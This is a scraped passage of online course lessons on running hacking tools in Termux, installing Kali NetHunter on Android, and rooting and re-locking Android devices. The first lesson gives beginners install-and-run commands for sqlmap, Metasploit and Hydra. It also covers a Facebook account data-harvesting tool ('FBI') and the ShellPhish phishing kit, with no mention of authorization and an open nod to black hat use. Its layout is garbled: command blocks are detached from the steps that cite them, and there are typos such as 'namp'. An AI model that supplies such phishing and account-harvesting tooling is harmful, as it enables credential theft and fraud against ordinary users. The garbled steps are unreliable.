    I hope This Section will be the most interesting part for you, in a few moments we all learn how can hack using it. When it comes to Hacking Tools, There are hundreds even thousands of Tools Available, but I am here to present you with a few of them. Which are Very Powerful and Used By Professional Security Researchers, Ethical Hackers, and even Black Hat Hackers

    $ pkg install namp
    $ pkg install git          --> To install Git
    $ cd Th3inspector
    $ chmod +x install.sh && ./install.sh
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    perl Th3inspector.pl
    apt-get install curl git perl
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    $ curl -LO  https://raw.githubusercontent.com/T4P4N/Bash-Scripts/master/Dependencies.sh
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    $  chmod +x Dependencies.sh && ./Dependencies.sh
    $  cd fbi
    $ chmod +x rhawk.php
    $ pip2 install -r requirements.txt
    $ php rhawk.php            --> To run RED_HAWK
    $ git clone  https://github.com/xHak9x/fbi.git
    $ cd fbi
    $ pip2 install -r requirements.txt
    $ python2 fbi.py            --> To run FBI
    $ git clone  https://github.com/sqlmapproject/sqlmap.git
    $ cd sqlmap
    $ chmod +x sqlmap.py && chmod +x sqlmapapi.py
    $ python2 sqlmap.py             --> To run SQLmap
    $ git clone  https://github.com/shawarkhanethicalhacker/D-TECT-1.git
    $ cd D-TECT 
    $ python2 d-tect.py              --> To run D-TECT
    $ pkg install metasploit
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    $  msfconsole
    pkg install hydra
    $ hydra
    $ cd Lazymux
    $ python2 lazymux.py
    $ git clone  https://github.com/rajkumardusad/Tool-X.git
    $ cd Tool-X
    $ chmod +x install.aex
    $ Tool-X
    $ cd ShellPhish
    $ bash shellphish.sh

    When I Say Hacking tools People think about Burp Suite, Wireshark, and so on, if you're too, then don’t expect that We Cannot Use Such Tools Through Termux, But we can use the tools which are written in C, C++, Python, Ruby, Perl, Php, and so on. Mainly The Tools Which are compatible With Termux (Especially The Tools Available For Kali Linux) and finally those tools used by all kinds of Hackers.

    In This Section I have included a few Tools while there are a lot of tools available, you can try them later. When It Comes To Hacking Tools, mainly we should focus on Information Gathering Tools, Vulnerability Scanning Tools, and Exploiting Tools. It is very important to know some things before we hack.

    Information Gathering

    There are hundreds of tools available for Information Gathering. Information Gathering is varied from Hacker to Hacker.

    Let me explain briefly, Information The gathering is not just all about Gathering Information on the target IP address and servers, it is wider and even more than we expect. There is a huge difference in Information Gathering between Whitehat Hackers and Black Hat Hackers.

    Nmap

    When it comes to Information Gathering Nmap Is the Best Choice for Hackers. Let’s see How You can install and run nmap in Termux:

    Installing Nmap in termux is very simple, Just Type the following in Termux:

    Don’t know how to use Nmap?


    Th3Inspector Tool

    Another powerful tool for Information gathering Tool is The Inspector which is written in Perl. The Installation and use age of the Th3inspector Tool is much easier.

    Type the following to install Th3inspector in a terminal:

    After a few moments, it will completely install on the Terminal. To run Th3Inspector type the following:

    If your system shows an HTTP error, don’t panic there is a solution. First, type the following:

    Finally, you will be able to use Th3inspector Tool by typing perl Th3inspector.pl.


    RED_HAWK

    Red Hawk is an open-source web application tool that can be used for information gathering and vulnerability scanning purposes.

    This tool is written in PHP. To install RED HAWK, just type the below command to install PHP,
    pkg install php.

    I have already downloaded it, so I do not need to install it again. To install type the following commands:

    Now All Done, You Can Run the RED HAWK tool by typing php rhawk.php.


    FBI

    FBI is an information-gathering tool to collects all sensitive data about the Facebook user account. All sensitive information can be easily gathered. 

    To install type the following:

    Vulnerability Scanning

    Sqlmap

    When it comes to vulnerability scanning, SQLMAP will take first place in termux. Sqlmap is a Powerful SQL injection scanner, it is widely used by all kinds of hackers from professionals to Noobs.

    Mainly its goal is to find SQL injection vulnerabilities in Websites so it is packed with awesome exploits that make sqlmap loved by All kinds of Hackers in the universe.

    Follow the below commands to install Sqlmap. sqlmap is written in python2, so now we need python2.

    To learn more:

    D-TECT

    D-Tect is also a good tool for termux, this tool is written in python2, To install and use this tool, we have to clone the d-tect directory from Github. For that,

    Advance Hacking

    Metasploit:

    When it comes to exploitation Tools Metasploit is one of our favorite tools for us. Now we can install Metasploit Framework in termux with a few commands.

    How to Install And Use Metasploit On Termux:

    To install type the following:

    Finally. run Metasploit by typing msfconsole.

    Hydra

    Although Hydra is not an exploitation tool, it's a powerful tool to crack passwords. You can install Hydra by typing the following command:

    Not Only These Tools, per your requirements, but You Can also install and use many other tools in termux.

    While I have introduced a few tools, you can install the above programs so that you can install your desired tool with a single click.

    Lazymux

    Lazymux has a collection of useful Hacking Tools that you can install in a single click without typing the commands again and again.

    To install type the following:

    Tool-X

    Tool-X Similar to Lazymux, it contains almost 250 Tools in one place, so you can install them in a single click, you can install Tool-X by typing the below commands:

    ShellPhish

    ShellPhish is a phishing Tool for 18 social media like Instagram, Facebook, Snapchat, Github, Twitter, Yahoo, Protonmail, Spotify, Netflix, Linkedin, WordPress, Origin, Steam, Microsoft, InstaFollowers, Gitlab, and Pinterest.

    Let’s install it copy the link from GitHub and clone it using git clone.

    There are a few other tools available you can learn them in the upcoming days.

    Android Terminal Security & Termux Framework Lesson 23 of 38
    In Progress

    Install Kali Linux in Termux without Root

    What if we could install Kali Linux on our mobile phones as well as our computer? If I say yes we can install Kali Linux on our device without having to root our mobile device. Kali Linux is widely used for advanced Penetration Testing and Security Auditing.

    $pkg install wget
    --------------------------------------------------------------------------------------------------------------------------------------- 
    --------------------------------------------------------------------------------------------------------------------------------------- 
    --------------------------------------------------------------------------------------------------------------------------------------- 
    $ wget -O install-nethunter-termux https://offs.ec/2MceZWr
    $ls
    install-nethunter-termuxstorage
    $chmod +x ./install-nethunter-termux
    $./install-nethunter-termux
    $cp storage/download/kalifs-arm64-full.tar.xz .
    $./install-nethunter-termux
    ┌──(mrdev㉿kali)-[~]
    └─$kex passwd
    ┌──(mrdev㉿kali)-[~/]
    └─$kex
    ┌──(mrdev㉿kali)-[~/Download]
    └─$ nano /etc/vnc.conf
    $nethunter -r


    Prerequisite:

    1. Android Device (Stock unmodified device, no root or custom recovery required)
    2. Termux 
    3. Download NetHunter-KeX client, and Hacker's keyboard from NetHunter Store.

    Install and Configure

    Open Termux and type:


    Download rootfs File Manually and install Kali NetHunter

    1. Open your browser and visit this link: https://images.kali.org/nethunter/kalifs-arm64-full.tar.xz to download rootfs file. 

    2. Copy rootfs file:

    3. Run again following command to install:

    nethunter

    NetHunter GUI

    1. To interact with Nethunter GUI you have to reset kex password:

    2. To run it by the following command:

    3. Open the NetHunter Kex VNC tool and change the port number and password. Now click connect to connect.

    nethunter gui

    Make your device a server

    If you want to access NetHunter GUI from your laptop or any other phone, It need to configure vnc.conf file.

    So go to NetHunter. Now open vnc.conf file using a nano text editor.

    Scroll end and write the following code:

    config vnc

    Download RealVNC and connect with IP and Port number. Run Kali with root privileges then type the following:

    Reading Material
    Android Terminal Security & Termux Framework Lesson 24 of 38
    In Progress

    Go for Hack with Termux: Practical Setups

    Text Editors for Termux

    You can use vi or nano text editors inside termux.

    To install nano just type pkg install nano. After installation, you can use nano just by typing nano <the file name>.

    pkg install nano
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    $ nano firstfile

    To check what you write on the screen just use the cat command.

    cat firstfile             --> To view text file
    Subscribe to my Youtube channel
    $ cat > firstfile          --> To edit text file
    Subscribe to my Youtube channel
    Edit

    Similarly, VI text editor is available on every UNIX-based Operating system is a very famous and effective text editor, and also there is a video available on my youtube channel link is in my description box.

    vi firstfile1


    Networking

    Networking itself a huge topic I am not here gonna talking about all the things.


    First, start with,

    ifconfig

    ifconfig Command is used to get all the information regarding your Network IP Address connected port and all network information.

    $ ifconfig

    Ping

    The ping command is a Command Prompt command used to test the ability of the source computer to reach a specified destination computer. The ping command is usually used as a simple way to verify that a computer can communicate over the network with another computer or network device.

    To check whether a particular website is accessible or not in your ISP then you can check that through termux by typing ping website Eg: ping google.com

    $ ping google.com

    W3m

    The Interesting thing is you can access the internet through termux, directly in the command line.

    pkg install w3m             --> To install w3m
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    w3m google.com             --> To run w3m


    LYNX

    Lynx is similar to w3m. Lynx is a customizable text-based web browser for use on cursor-addressable character cell terminals. To install lynx, type pkg and install lynx. After that type lynx google.com.

    pkg install lynx             --> To install lynx
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    lynx google.com             --> To run lynx
    $ pkg install clang        --> To install and use c, c++ on Termux
    ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    $ pkg install python2     --> To install and use Python 2.7 Termux
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    pkg install python     --> To install and use Python3 Termux
    ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    pkg install php     --> To install and use PHP Termux
    ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    pkg install perl     --> To install and use Perl Termux
    ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    $ pkg install ruby     --> To install and use ruby Termux
    ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

    Not Only These you can use many other commands such as cat, man, etc. on termux.

    Setup Before Go for Hack


    Programming Languages in Termux


    Whenever we all talk about programming the name comes to mind java, c, c++, Python, Php, Perl, etc.
    Exactly the same Termux is such a powerful Linux environment that can handle the above Programming Languages.

    • C
    • C++
    • Python 3.x
    • Python 2.
    • Ruby
    • Perl
    • PHP And So On

    To install and use c, c++ on Termux, We have to just type pkg install clang. During installation, you will be asked that Termux will use some space just type y and Hit Enter.


    Similarly, we can install Python 2.7 by typing pkg install python2, and Python 3 by typing pkg install python.
    Android Terminal Security & Termux Framework Lesson 25 of 38
    In Progress

    Bliss OS: Android for Your PC

    Android is the world's most popular Operating System, but it doesn't have any significant presence on PCs (Desktop or Laptop). If you have ever wondered, how you can run Android on your Desktop.

    An Open Source OS, based on Android, that incorporates many optimizations, features, and expanded device support. And it is available for just about any Chromebook, Windows/Linux PC, or tablet released in the last 4 years

    Steps to install Bliss OS on Virtual Box

    1.  Download Bliss OS from their official website.

    2. Open Virtual Box and create a new Virtual Image. Click "New".

    3. Set the Name as "Bliss OS", type Linux and Version to Other Linux(64-bit), and click next.

    4. Set the Memory size to 1024GB or More and the Virtual Disk size to 16 GB or more. After all is done, click Create.

    5. Now Insert the iso image into Storage. Click settings and click on Storage.

    6. Now Start Bliss OS. 

    7. Now create a Partition before proceeding further. 

    • Click on "Create /Modify Partitions".
    • Next, it will ask you "Do You want to use GPT?"  So click No.
    • Now new step click on "new > Primary > Bootable", then click Enter.
    • When all done! type yes to write the partition table to disk.

    8. Now quit to main installation step and select Primary memory to go further the installation step. It will take around 10 min to complete. After all, done! Run Bliss OS.


    9. Now you see Bliss OS successfully installed on the system. 

    Note: The Booting Process may take a couple of minutes, so keep calm and stay connected.

    Android Rooting, Bootloaders & Kali NetHunter Lesson 26 of 38
    In Progress

    Android Rooting: Advantages, Disadvantages & Attack Surface

    Android Rooting techniques are typically used to root Android devices. In this article, we will begin with the basics of rooting and its pros and cons. Then, we shall move on to topics such as various Android partition layouts, boot loaders, boot loader unlocking techniques, and so on. 

    Microsoft Windows[Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All right reserved.

    C:\users\mrdev>  abd shell
    shell@android:/ $ su
    /system/bin/sh: su: not found
    127|Infinix-X650C:/ $
    Microsoft Windows[Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All right reserved.

    C:\users\mrdev> abd shell
    shell@android:/ $ su
    root@android:/ # id
    uid=0(root) gid=0(root)
    root@android:/ #
    shell@android:/ $  ls data/data
    ls: data/data: Permission denied
    shell@android:/ $
    Microsoft Windows[Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All right reserved.

    C:\users\mrdev>  abd shell
    shell@android:/ $  su
    root@android:/ # ls data/data
    com.android.backupconfirm
    com.android.bluetooth
    com.android.browser
    com.android.calculator2
    com.android.calendar
    com.android.certinstaller
    com.android.chrome
    com.android.defcontainer
    com.android.email
    com.android.exchange
    <more>
    shell@android:/ $ content query --uri content://sms/draft 
    Error while accessing provider:SMS 
    java.lang.SecurityException: Permission Denial: opening provider com.
    android.providers.telephony.SemcSmsProvider from (null) (pid=4956,uid=2000) requires android.permission.READ_SMS or android.permission.

    WRITE_SMS
     at android.os.Parcel.readException(Parcel.java:1425)
     at android.os.Parcel.readException(Parcel.java:1379)
    at android.app.ActivityManagerProxy.getContentProviderExternal(Activity
    ManagerNative.java:2373)
     at com.android.commands.content.Content$Command.execute(Content.
    java:313)
     at com.android.commands.content.Content.main(Content.java:444)
     at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
     at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:293)
     at dalvik.system.NativeStart.main(Native Method)
    shell@android:/ $
    shell@android:/ $ su
    root@android:/ # content query --uri content://sms/draft
    Row: 0 _id=1, thread_id=1, address=, person=NULL, date=-1141447516,
    date_sent=0, protocol=NULL, read=1, status=-1, type=3, reply_path_
    present=NULL, subject=NULL, body=Android Rooting Test, service_
    center=NULL, locked=0, sub_id=0, error_code=0, seen=0, semc_message_
    priority=NULL, parent_id=NULL, delivery_status=NULL, star_status=NULL,
    delivery_date=0
    root@android:/ #

    This article acts as a guide for those who want to root their devices and want to know the ins and outs of rooting concepts before they proceed.

    The following are some of the major topics that we will discuss in this article:

    • What is rooting?
    • Advantages and disadvantages


    What is rooting?

    Android is built on top of the Linux Kernel. In UNIX-based machines such as Linux, we see two types of user accounts — normal user accounts and root accounts:

    • Normal user accounts usually have low privileges and they need permission from root to perform privileged operations such as installing tools, making changes to the Operating System, and so on.
    • Whereas root accounts have all the privileges such as applying updates, installing software tools, the ability to run any command, and so on.

    Essentially, this account has granular control over the whole system. This privilege separation model is one of the core Linux security features.

    As I mentioned earlier, Android is an operating system built on top of the Linux Kernel. So many features that we see in traditional Linux systems will also be present in Android devices. Privilege separation is one among them.

    When you buy a brand new Android device, technically you are not the owner of your device, meaning you will have limited control over the device in terms of performing privileged operations that are possible for root accounts. So gaining full control over the device by gaining root access is termed rooting. 

    One simple way to check if you have root access on the device is by running the su command on an ADB shell:

     

    su” is Unix's way of executing commands with the privileges of another user.

    As we can see in the preceding excerpt, we have no root access to the device.

    On a rooted device, we usually have UID value 0 with a root shell having # rather than $ representing the root account. That looks as shown on my screen:

    Why would we root a device?

    As mentioned earlier, we do not have complete control over Android devices due to the limitations imposed by hardware manufacturers and carriers. So, rooting a device gives us additional privileges to overcome these limitations. 

    However, the goal of rooting a device could vary from person to person. For example, some people root their devices to get more beautiful themes, a better look, and feel, and so on by installing custom ROMs. Some may want to install additional apps known as root apps that cannot be installed without root access. Similarly, others may have other reasons.

    In our case, we are going to root our device for penetration testing purposes as a rooted device gives us complete control over the file system and additional apps such as “Cydia Substrate” which can be installed to audit the apps. Whatever the reason may be, rooting has its own advantages and disadvantages. Some of them are described next.


    Advantages of rooting

    This section describes some of the advantages of rooting an Android device:


    i. Unlimited control over the device

    By default, we cannot fully access the device as a normal user. After rooting an Android device we get full control over the device. Let's see the following example. The following excerpt shows that a normal user without root access cannot see the listing of installed app packages inside the /data/data directory: 

    As root users, we can explore the complete file system, modify the system files, and so on. The following excerpt shows that a root user can see the listing of installed app packages inside the /data/data directory:

    ii. Installing additional apps

    Users with root access to the device can install some apps with special features. These are popularly known as root apps.

    For example, BusyBox is an app that provides more useful Linux commands that are not available on an Android device by default:


    iii. More features and customization

    By installing custom recovery and custom ROMs on an Android device, we can have better features and customization than that provided by the vendor-given stock OS.

     

    Disadvantages of rooting

    This section describes various disadvantages of rooting an Android device and why it is dangerous for end-users to root their devices.


    i. It compromises the security of your device

    Once a device is rooted, it compromises the security of your device. By default, each application runs inside its own sandbox with a separate user ID assigned to it. This user id segregation ensures that one application with its UID running on the device cannot access the resources or data of other apps with different UIDs running on the same device.

    On a rooted device, a malicious application with root access will not have this limitation and so it can read data from any other application running on the device. A few other examples would be bypassing lock screens, and extracting all the data such as SMS, call logs, contacts, and other app-specific data from a stolen/lost device.

    Let's see a practical example of what it looks like.

    content://sms/draft is a content provider URI in Android to access the draft SMS from the device. For any application on your device to access the data through this URI, it requires READ_SMS permission from the user. When an application tries to access this without appropriate permission, it results in an exception. Open up a shell over USB using adb and type in the following command with a limited user shell (without root access):

    As we can see in the preceding excerpt, it is throwing an exception saying permission was denied. Now, let's see what it looks like when we query the same URI using a root shell:

    As we can see in the preceding output, we do not require seeking any permission from the user to be able to read SMS with root privileges thus compromising the data of the application sitting on the device. It is quite common to see root apps executing shell commands on devices to steal sensitive files such as mmssms.db.


    ii. Bricking your device

    Rooting processes might brick your device

    What can you do with a brick? 

    The same applies to a bricked/dead Android device, meaning it may become useless and you need to find a way to get it back.


    iii. Voids warranty

    A device that is rooted voids the warranty. Most manufacturers do not provide free support for rooted devices. After rooting a device, even if you are in a warranty period, you may be asked to pay for your repairs.

    Locked and unlocked boot loaders

    A bootloader is the first program that runs when you boot your device. The bootloader takes care of and initiates your hardware and Android kernel. Without this program, our device doesn't boot. Those manufacturers of your devices usually write bootloaders and so usually they are locked. This ensures that the end-users cannot make any changes to the device firmware. 

    To run custom images on your device, the bootloader has to be unlocked first before we proceed with it. Even when you want to root a device with a locked bootloader, it requires unlocking it first if there is a possible and available way to do it. Some manufacturers provide an official method to unlock the bootloaders.

    In the next section, we will see how to unlock a bootloader on Samsung devices. If the bootloader cannot be unlocked, we will have to find a flaw that allows us to root the device.
    Learn More:
    Android Rooting, Bootloaders & Kali NetHunter Lesson 27 of 38
    In Progress

    Unlock Bootloader and Root an Android Device

    If you have read these articles, then you have a basic understanding of rooting, and its advantages, and disadvantages. In this same article, we also rooted a Samsung device using Odin. 

    Learn More:

    • Android Rooting: 
    • Flashing the Custom ROM to the phone: 

    What if you are using a device like Vivo, Oppo, Infinix, or much more similar to these companies, then the previous steps cannot work. 

    Hello everyone, I welcome you all to a new article, where we will be going to root my Infinix device, model no: hot 8 x650c. Let’s see how it will be done, and also we are going to find a way to install LineageOS unofficial version.

    Before getting started make sure you have a Micro SDcard or a Pendrive in your hand. Always remember, This process may lose your data and take a backup of your storage and applications.

    Firstly, download the required tools below the link. 

    Required tools

    Once you have specified tools ready, then open Command Prompt by clicking window + R and type CMD, and hit OK.

    Now, you need to enable USB debugging and "enable OEM unlock" from Developer Options. 
    Microsoft Windows[Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All right reserved.

    C:\users\mrdev>adb devices
    * daemon not running; starting now at tcp:5037
    * daemon started sucessfully
    List of devices attached
    045613298V004882device

    C:\users\mrdev>
    C:\users\mrdev>adb reboot bootloader

    C:\users\mrdev>
    C:\users\mrdev>fastboot devices

    C:\users\mrdev>
    Before that, you have to enable it by following this path. Tap on Settings then System then About Phone and then tap a few times on build number, usually seven to nine times. Now, go back to the menu and you will see Developer options as shown following.

    Once you are done with it, connect the phone to the USB cable and type adb devices to check if the device is recognized or not.

    Allow USB debugging on your phone.


    Now switch to fastboot mode using ADB reboot bootloader. 

    Now my device is successfully switched to fastboot mode. 


    Type fastboot devices to check if the device is recognized or not. 

    If the device is not listed then check the driver setting if there is an issue with it.

    I found the issue is with the driver, so I have to update the driver. Extract the Fastboot driver zip file. 


    Now switch to the Device Manager window and right-click on android, and click on update driver. 

    From here click on the manual procedure. 

    From here click on "Let me pick from a list of available drivers on my computer".

    Select "Show All Devices" and click Next:

    C:\users\mrdev>fastboot devices
    045613298V004882fastboot

    C:\users\mrdev>
    C:\users\mrdev>fastboot flashing unlock
    (bootloader) Start unlock flow

    OKAY [ 23.327s]
    Finished. Total time: 23.362s

    C:\Users\mrdev>

    Now click on the hard disk and select the android_winUSB file from the extracted zip file.

    From here choose the android bootloader interface and click next to install the driver without having trouble.

    Now issue the command if the device is listed or not. 

    To unlock the bootloader and enable partitions to be reflashed, run the fastboot flashing unlock command on the device. 

    Press the volume up button to continue the process.

    Type the following command to check if we are succeeded or not.
    C:\Users\mrdev>fastboot getvar unlocked
    unlocked: yes
    Finished. Total time: 0.002s

    C:\Users\mrdev>
    C:\Users\mrdev>fastboot reboot
    Rebooting
    Finished. Total time: 0.005s

    C:\Users\mrdev>
    Microsoft Windows[Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All right reserved.

    C:\users\mrdev>adb devices
    * daemon not running; starting now at tcp:5037
    * daemon started sucessfully
    List of devices attached
    045613298V004882device

    C:\users\mrdev>
    C:\users\mrdev>adb reboot bootloader

    C:\users\mrdev>fastboot devices
    045613298V004882fastboot

    C:\users\mrdev>
    C:\Users\mrdev>fastboot --disable-verity --disable-verification flash vbmeta c:\Users\mrdev\Downloads\TWRPv0.3\TWRPv0.3\vbmeta.img
    Rewriting vbmeta struct at offset: 0
    Sending 'vbmeta' (4 KB)OKAY [ 0.025s]
    Writing 'vbmeta'OKAY [ 0.034s]
    Finished. Total time: 0.081s

    C:\Users\mrdev>fastboot flash recovery c:\Users\mrdev\Downloads\TWRPv0.3\TWRPv0.3\recovery_v0.3.img
    Sending 'recovery' (23494 KB)OKAY [ 0.025s]
    Writing 'recovery'OKAY [ 0.0309s]
    Finished. Total time: 1.568s

    C:\Users\mrdev>

    Now reboot the device using fastboot reboot. 

    The reboot takes time to initiate. Due to the flashing unlock command the device reset, so we have to settings up the device again.

    Again, we have to allow USB debugging, which will help us to proceed with further steps. Now we have to flash the TWRP recovery software, which we have downloaded previously. 

    Extract the zip file, where you find out two image files and a zip file.

    Before we flash the image file, we have to copy the following files to the Micro SD card and Also copy Magisk Manager to the SD card. 

    Now, open the Command prompt and run adb devices command to check if the device is listed or not.

    Now switch to fastboot mode, and check if the device is recognized or not. If your device is not listed, then again update the driver.

    Now, type the following command to flash TWRP recovery software:

    Once flashing is complete, turn on your device using the power button along with the volume up button. You will display it with the TWRP recovery screen. 

    Now click on install and select the SD card. Now flash each of the files one by one.

    If everything was done without having an error, just reboot your system. This is the complete process to root this type of device.                        

    If you wish to flash custom ROM then read the below Article:
    Android Rooting, Bootloaders & Kali NetHunter Lesson 28 of 38
    In Progress

    Root an Android Device using Magisk Manager

    Magisk Manager is a widely used rooting tool for Android devices. It provides you the root access of the Android device through which you can access additional features, you can also customize Superuser permissions and other system grants.

    Steps to root any Android Device using Magisk Manager

    Before we proceed further, make sure you have unlocked the Bootloader of your Android Device.
    Click here if you are not yet done:
    1. Download Magisk Manager and rename it to a zip file:

    2. Now, Switch off your device and boot it into the recovery mode by pressing the volume up, home, and power buttons simultaneously.

    3. Click on Install select the Magisk zip file and flash it, and then reboot the system.

    4. Now you can check the root access using a Root checker application.


    Android Rooting, Bootloaders & Kali NetHunter Lesson 29 of 38
    In Progress

    Unlock Bootloader & Root Samsung Devices

    In this section, we will discuss how to root an unlocked Samsung Galaxy J7(2015) which uses Samsung's customized version of Android OS, we will also see the differences between Stock Recovery and Custom Recovery, and finally, we will install a Custom ROM on our Samsung J7 device.

    If you don't know what is rooting, then click the below link:

    Microsoft Windows[Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All right reserved.

    C:\users\mrdev>  adb devices
    List of devices attached
    330df5553366d003 unauthorized
    C:\users\mrdev>

    Stock recovery and Custom recovery 

    Android's recovery is one of the most important concepts for both tech users as well as users who use their phones just for making phone calls and regular surfing. When a user gets an update for his device and applies it, Android's recovery system ensures that it is properly done by replacing the existing image without affecting the user's data. 

    The Stock recovery image that is usually provided by the manufacturers is limited in nature. It includes very few functions that allow a user to perform operations such as wiping cache, user data, and performing system updates. We can boot our device into recovery mode to do any of those operations specified such as wiping the cache. The steps/hardware keys used for booting into recovery mode could vary from manufacturer to manufacturer.

    Custom recovery on the other hand provides more features such as allowing unsigned update packages, wiping data selectively; taking backupssetting up restore points, copying files onto SD cards, and so on. ClockWorkMod is one of the popular recovery images that can be shown as an example of custom recovery images. 

    As mentioned earlier, some manufacturers provide an official method to unlock bootloaders and some come unlocked. If you bought an unlocked phone that is not on contract, most probably you have an unlocked bootloader.

    Warning: Rooting and Custom ROM installations always have a risk of data loss, and worst, bricking the phone, so you should always backup the data before you proceed to root. You can backup your data/contacts and so on, by using Google's sync data option or any third-party app.

    Prerequisites

    Before we embark on our journey of rooting the phone, make sure you have the following prerequisites in place.

    1. Download the Samsung USB driver from the following URL and install it on your computer: 

    2. You also need to enable USB debugging by following this path: Settings | Developer options. Your screen might be slightly different based on the Android version you are using, but look for USB debugging and OEM unlock and then enable it:

    If you don't see the Developer options, you can enable it by from Settings | About Phone and then tap a few times on Build Number, usually seven to nine times, and go back to the menu and you will see Developer options as shown following.

    3. Make sure you already have ADB on your system . Check it by opening the command prompt and typing adb.

    4. Connect the phone to the USB cable, and then type adb devices to check if the device is recognized:

    5. Once you plug in the cable, you might get the authorization popup Allow USB debugging, please allow it.


    Rooting Process

    If you are interested in rooting your device, you only need to follow 2 simple steps:

    1. Installing recovery software like TWRP or CF
    2. Installing the Super Su app

    1. Installing recovery software

    1. Odin and Heimdall are two popular ways to install recovery software, like TWRP, or CF.

    2. Before we proceed further, we need to download the TWRP recovery img.tar file for J7 from the official site:

    Microsoft Windows[Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All right reserved.

    C:\users\mrdev>  adb shell        #  communicate with an Android device
    shell@android:/ $  su    # To get Super User Privileges
    root@android:/ # 

    Flash the TWRP recovery software Using Odin

    Odin is one of the most popular recovery tools for Samsung devices. This section shows the steps to use Odin.

    1. Download the Odin package, and extract it using WinRAR.

    2. click on Odin to open it, and you should see the following screen:

    3. We need to put the device into download mode by switching off the smartphone and pressing the volume up, home, and power buttons simultaneously.

    4. Once the device boots into the download mode connect the device to your computer using the USB data cable.

    5. You will see a warning, accept the Continue option by pressing the volume up button. 

    6. If you have installed the right USB drivers, you will see Odin's ID: COM in blue text. Otherwise, you need to reinstall the driver or check your cable for any faults.

    7. Click on the AP button, and select the TWRP recovery image file by clicking on the AP button. Make sure you enable Auto Reboot and F: Reset Time.

    8. Click on the Start button in Odin to flash TWRP. It will take a few seconds to complete and if everything went well, you should see PASS! in green as shown on the following screen. Once the process is complete your phone will restart automatically.

    9. Now you have successfully flashed TWRP recovery.


    2. Rooting a Samsung Galaxy J7

    This section explains the step-by-step process to root a Samsung Galaxy J7.

    1. Download Super SU from here, and save it.

    2. Connect the device to the computer using a USB cable and use the ADB push command to copy the file to the SD card and unplug the cable once you're done.

    3. Switch off your device and boot it into recovery mode by pressing the volume up, home, and power buttons simultaneously. You will see the Team Win Recovery Project (TWRP) screen, click on Install.

    4. Select the Updated Super Su Zip file to start the flashing process.

    5. Once the installation is complete, you will see the Install Complete message. Click on the Reboot System to reboot the phone.

    6. Once your phone starts, you should see Super SU added to your phone.

    7. Connect to the device from the system using a USB cable, and check if you can log in as a root user by typing the following command:

    A Pop-up request appears on the screen:

    8. Congratulations, you have successfully rooted your device:

    Android Rooting, Bootloaders & Kali NetHunter Lesson 30 of 38
    In Progress

    How to Securely Unroot, Re-Lock Bootloader & Upgrade Firmware

    If you have read my previous article, then you might have learned, “How to unlock the bootloader to flash recovery software and root your Android device?

    To Learn More: Unlock Bootloader for [Infinix][Vivo][Oppo]

    Although having an unlocked bootloader is useful in many ways like flashing firmware (factory images), installing TWRP, and getting root, it can also lead to blocked services on your device due to security reasons, and hence you might want to relock the bootloader to avail those services.

    Before proceeding to further action, you have to download the flashing software and Stock Frameware ROM.

    How do re-lock the bootloader securely of my Infinix device?

    Firstly, download the appropriate FramewareROM, and also, You need a flashing tool to flash the Frameware. I suggest you download the transsion v4.1901.23.17.

    Once you have specified tools ready, then open Command Prompt by clicking window + R, type CMD, and hit OK.

    Before typing and command, make sure you have already enabled the USB debugging, connect the phone to the USB cable, and type adb devices to check if the device is recognized or not.

    Microsoft Windows[Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All right reserved.

    C:\users\mrdev>adb devices
    * daemon not running; starting now at tcp:5037
    * daemon started sucessfully
    List of devices attached
    045613298V004882device

    C:\users\mrdev>

    Now switch to fastboot mode using the ADB reboot bootloader.

    C:\users\mrdev>adb reboot bootloader

    C:\users\mrdev>

    Once the device successfully switches to fastboot mode, type fastboot devices to check if the device is recognized or not. If you get any errors, then update the driver with the previous procedure.

    C:\users\mrdev>fastboot devices
    045613298V004882fastboot

    C:\users\mrdev>

    Type the fastboot flashing lock command to lock the bootloader:

    C:\users\mrdev>fastboot flashing lock
    (bootloader) Start lock flow

    OKAY [ 18.330s]
    Finished. Total time: 18.332s

    C:\Users\mrdev>

    On successful execution, your device system will crash and not be able to boot again or you can say it as the device is dead.

    So, now, we have flashed the Frameware ROM that we have previously downloaded.

    First of all, extract the transsion software download tool. Using this one can revive a dead Android phone, reset, fixing a bricked device.

    Now, we have to download a few drivers and install Them:

    Launch the application. 

    Once the application is loaded click on setting, and load the path of the scatter file. 

    Before that, we have to extract the frameware zip file.

    Load the file and click on confirm.

    Click on Start, to start the process and plug in your USB cable and you will see the download process. 

    On successful flash, the frameware, unplug the USB cable, and reboot, your device and you will see, that your problem is fixed.


    Lock the bootloader of a Samsung device

    For a Samsung device, you will need to download the Flashing Software( i.e., Odin) and Samsung Custom Rom. Once the files are ready, extract them all. 


    Launch Odin flashing tools:

    On successful execution, the interface will look like this:

    We need to put the device into download mode by switching off the smartphone and pressing the volume up, home, and power buttons simultaneously.

    Once the device boots into the download mode connect the device to your computer using the USB data cable, and you will spot Odin's ID: COM in blue text. Otherwise, you need to reinstall the driver or check your cable for any faults:


    Click on the AP button, and select the MD5 file. Make sure you enable Auto Reboot and F: Reset Time.

